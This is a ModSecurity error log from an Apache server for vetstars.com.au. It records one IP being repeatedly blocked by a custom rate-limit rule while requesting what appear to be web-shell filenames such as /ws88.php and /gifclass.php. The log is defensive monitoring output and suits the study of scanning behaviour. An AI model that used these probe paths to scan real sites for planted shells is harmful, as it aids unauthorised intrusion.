[Mon Apr 20 20:00:49.579204 2026] [:error] [pid 6928:tid 6937] [client 172.213.242.226:18204] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeYVcR3y7MHq1iB0qYqllgAAAUc"]
[Mon Apr 20 20:00:50.126036 2026] [:error] [pid 11351:tid 11401] [client 172.213.242.226:18263] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws88.php"] [unique_id "aeYVcgN8Z1-vktaI_tPtAQAAAE4"]
[Mon Apr 20 20:00:50.661059 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18261] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aeYVcv4EoMBgOJuJnT2X4wAAAAo"]
[Mon Apr 20 20:00:51.284159 2026] [:error] [pid 11494:tid 11516] [client 172.213.242.226:18289] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aeYVc8gko5iFiE8YoyTTjgAAAZQ"]
[Mon Apr 20 20:00:51.823722 2026] [:error] [pid 11494:tid 11509] [client 172.213.242.226:18303] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aeYVc8gko5iFiE8YoyTTkwAAAY0"]
[Mon Apr 20 20:00:52.459305 2026] [:error] [pid 11351:tid 11403] [client 172.213.242.226:18287] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/011i.php"] [unique_id "aeYVdAN8Z1-vktaI_tPtBQAAAFA"]
[Mon Apr 20 20:00:53.091656 2026] [:error] [pid 11441:tid 11455] [client 172.213.242.226:18288] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atfis.php"] [unique_id "aeYVdcixByFUvmh319CRNQAAAMw"]
[Mon Apr 20 20:00:53.582571 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18283] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atfis.php"] [unique_id "aeYVdf4EoMBgOJuJnT2X6wAAAAQ"]
[Mon Apr 20 20:00:54.108615 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18216] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atfis.php"] [unique_id "aeYVdv4EoMBgOJuJnT2X7AAAAAg"]
[Mon Apr 20 20:00:54.634731 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18226] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atfis.php"] [unique_id "aeYVdv4EoMBgOJuJnT2X8AAAABM"]
[Mon Apr 20 20:00:55.172760 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18202] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aeYVd_4EoMBgOJuJnT2X8wAAAA8"]
[Mon Apr 20 20:00:55.729128 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:18259] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aeYVd_4EoMBgOJuJnT2X9AAAABY"]
[Mon Apr 20 20:00:56.321017 2026] [:error] [pid 11351:tid 11393] [client 172.213.242.226:18112] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aeYVeAN8Z1-vktaI_tPtDgAAAEY"]
[Mon Apr 20 20:00:56.926872 2026] [:error] [pid 11494:tid 11510] [client 172.213.242.226:18236] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cxxuv.php"] [unique_id "aeYVeMgko5iFiE8YoyTTlwAAAY4"]
[Mon Apr 20 20:00:57.442180 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:18292] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYVecgko5iFiE8YoyTTmQAAAZM"]
[Mon Apr 20 20:00:58.002596 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18209] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYVev4EoMBgOJuJnT2X_QAAAAM"]
[Mon Apr 20 20:00:58.825508 2026] [:error] [pid 11494:tid 11514] [client 172.213.242.226:18264] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYVesgko5iFiE8YoyTTnwAAAZI"]
[Mon Apr 20 20:00:59.354687 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:18127] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeYVewN8Z1-vktaI_tPtEAAAAEs"]
[Mon Apr 20 20:00:59.972045 2026] [:error] [pid 11351:tid 11395] [client 172.213.242.226:18293] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "aeYVewN8Z1-vktaI_tPtEQAAAEg"]
[Mon Apr 20 20:01:00.497818 2026] [:error] [pid 42014:tid 42026] [client 172.213.242.226:18245] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "aeYVfMek-00-ZI0f1Np46AAAAQo"]
[Mon Apr 20 20:01:01.267063 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18237] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "aeYVff4EoMBgOJuJnT2YCwAAABI"]
[Mon Apr 20 20:01:01.802923 2026] [:error] [pid 42014:tid 42022] [client 172.213.242.226:18248] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dichku.php"] [unique_id "aeYVfcek-00-ZI0f1Np46QAAAQY"]
[Mon Apr 20 20:01:02.347897 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:18199] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeYVfv4EoMBgOJuJnT2YEQAAABQ"]
[Mon Apr 20 20:01:02.877569 2026] [:error] [pid 11441:tid 11461] [client 172.213.242.226:18284] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeYVfsixByFUvmh319CRNgAAANI"]
[Mon Apr 20 20:01:03.438841 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18268] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeYVf8ixByFUvmh319CROAAAAME"]
[Mon Apr 20 20:01:04.066131 2026] [:error] [pid 11351:tid 11401] [client 172.213.242.226:18130] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/baixy.php"] [unique_id "aeYVgAN8Z1-vktaI_tPtEgAAAE4"]
[Mon Apr 20 20:01:04.638378 2026] [:error] [pid 11494:tid 11508] [client 172.213.242.226:18291] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeYVgMgko5iFiE8YoyTTqwAAAYw"]
[Mon Apr 20 20:01:05.161696 2026] [:error] [pid 11352:tid 11436] [client 172.213.242.226:18300] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeYVgWl10mhMSfJ7ir_QVAAAAJY"]
[Mon Apr 20 20:01:05.705651 2026] [:error] [pid 42014:tid 42021] [client 172.213.242.226:18277] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeYVgcek-00-ZI0f1Np46wAAAQU"]
[Mon Apr 20 20:01:06.306559 2026] [:error] [pid 11352:tid 11432] [client 172.213.242.226:18265] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aeYVgml10mhMSfJ7ir_QVQAAAJI"]
[Mon Apr 20 20:01:07.055913 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18298] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeYVgwN8Z1-vktaI_tPtFwAAAEw"]
[Mon Apr 20 20:01:07.546602 2026] [:error] [pid 11441:tid 11448] [client 172.213.242.226:18210] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeYVg8ixByFUvmh319CROwAAAMU"]
[Mon Apr 20 20:01:08.046471 2026] [:error] [pid 11441:tid 11467] [client 172.213.242.226:18297] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeYVhMixByFUvmh319CRPQAAANg"]
[Mon Apr 20 20:01:08.602600 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18208] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws87.php"] [unique_id "aeYVhP4EoMBgOJuJnT2YJQAAABc"]
[Mon Apr 20 20:01:09.203667 2026] [:error] [pid 11351:tid 11409] [client 172.213.242.226:18274] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "aeYVhQN8Z1-vktaI_tPtGQAAAFY"]
[Mon Apr 20 20:01:09.840621 2026] [:error] [pid 42014:tid 42023] [client 172.213.242.226:18253] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "aeYVhcek-00-ZI0f1Np48QAAAQc"]
[Mon Apr 20 20:01:10.550758 2026] [:error] [pid 11494:tid 11510] [client 172.213.242.226:18190] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "aeYVhsgko5iFiE8YoyTTvwAAAY4"]
[Mon Apr 20 20:01:11.351520 2026] [:error] [pid 11351:tid 11394] [client 172.213.242.226:18270] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "aeYVhwN8Z1-vktaI_tPtIgAAAEc"]
[Mon Apr 20 20:01:11.825834 2026] [:error] [pid 42014:tid 42034] [client 172.213.242.226:18158] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeYVh8ek-00-ZI0f1Np49AAAARI"]
[Mon Apr 20 20:01:12.359404 2026] [:error] [pid 11350:tid 11365] [client 172.213.242.226:18114] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeYViP4EoMBgOJuJnT2YKAAAAAY"]
[Mon Apr 20 20:01:12.966142 2026] [:error] [pid 11494:tid 11512] [client 172.213.242.226:18280] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeYViMgko5iFiE8YoyTTywAAAZA"]
[Mon Apr 20 20:01:13.635283 2026] [:error] [pid 42014:tid 42030] [client 172.213.242.226:18246] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cu.php"] [unique_id "aeYVicek-00-ZI0f1Np4-QAAAQ4"]
[Mon Apr 20 20:01:14.127479 2026] [:error] [pid 11351:tid 11400] [client 172.213.242.226:18142] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeYVigN8Z1-vktaI_tPtKgAAAE0"]
[Mon Apr 20 20:01:14.645756 2026] [:error] [pid 42014:tid 42021] [client 172.213.242.226:18198] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeYVisek-00-ZI0f1Np4_gAAAQU"]
[Mon Apr 20 20:01:15.805724 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:18195] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeYVi_4EoMBgOJuJnT2YMgAAAAI"]
[Mon Apr 20 20:01:16.695692 2026] [:error] [pid 11441:tid 11456] [client 172.213.242.226:18160] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wtogs.php"] [unique_id "aeYVjMixByFUvmh319CRTAAAAM0"]
[Mon Apr 20 20:01:17.779993 2026] [:error] [pid 11350:tid 11374] [client 172.213.242.226:18281] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogr.php"] [unique_id "aeYVjf4EoMBgOJuJnT2YNgAAAA8"]
[Mon Apr 20 20:01:18.455949 2026] [:error] [pid 11441:tid 11444] [client 172.213.242.226:18217] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogr.php"] [unique_id "aeYVjsixByFUvmh319CRVAAAAME"]
[Mon Apr 20 20:01:18.940682 2026] [:error] [pid 11441:tid 11448] [client 172.213.242.226:18186] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogr.php"] [unique_id "aeYVjsixByFUvmh319CRVgAAAMU"]
[Mon Apr 20 20:01:19.484749 2026] [:error] [pid 11351:tid 11388] [client 172.213.242.226:18257] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ogr.php"] [unique_id "aeYVjwN8Z1-vktaI_tPtMQAAAEE"]
[Mon Apr 20 20:01:20.133190 2026] [:error] [pid 11350:tid 11380] [client 172.213.242.226:18227] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dhjqs.php"] [unique_id "aeYVkP4EoMBgOJuJnT2YOgAAABU"]
[Mon Apr 20 20:01:20.685377 2026] [:error] [pid 11441:tid 11450] [client 172.213.242.226:18071] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dhjqs.php"] [unique_id "aeYVkMixByFUvmh319CRWwAAAMc"]
[Mon Apr 20 20:01:21.178298 2026] [:error] [pid 6928:tid 6948] [client 172.213.242.226:18192] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dhjqs.php"] [unique_id "aeYVkR3y7MHq1iB0qYqlpAAAAVI"]
[Mon Apr 20 20:01:21.776425 2026] [:error] [pid 6928:tid 6944] [client 172.213.242.226:18241] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dhjqs.php"] [unique_id "aeYVkR3y7MHq1iB0qYqlpQAAAU4"]
[Mon Apr 20 20:01:22.278500 2026] [:error] [pid 6928:tid 6950] [client 172.213.242.226:18271] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeYVkh3y7MHq1iB0qYqlpwAAAVQ"]
[Mon Apr 20 20:01:22.798031 2026] [:error] [pid 11351:tid 11399] [client 172.213.242.226:18123] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dawvg.php"] [unique_id "aeYVkgN8Z1-vktaI_tPtMwAAAEw"]
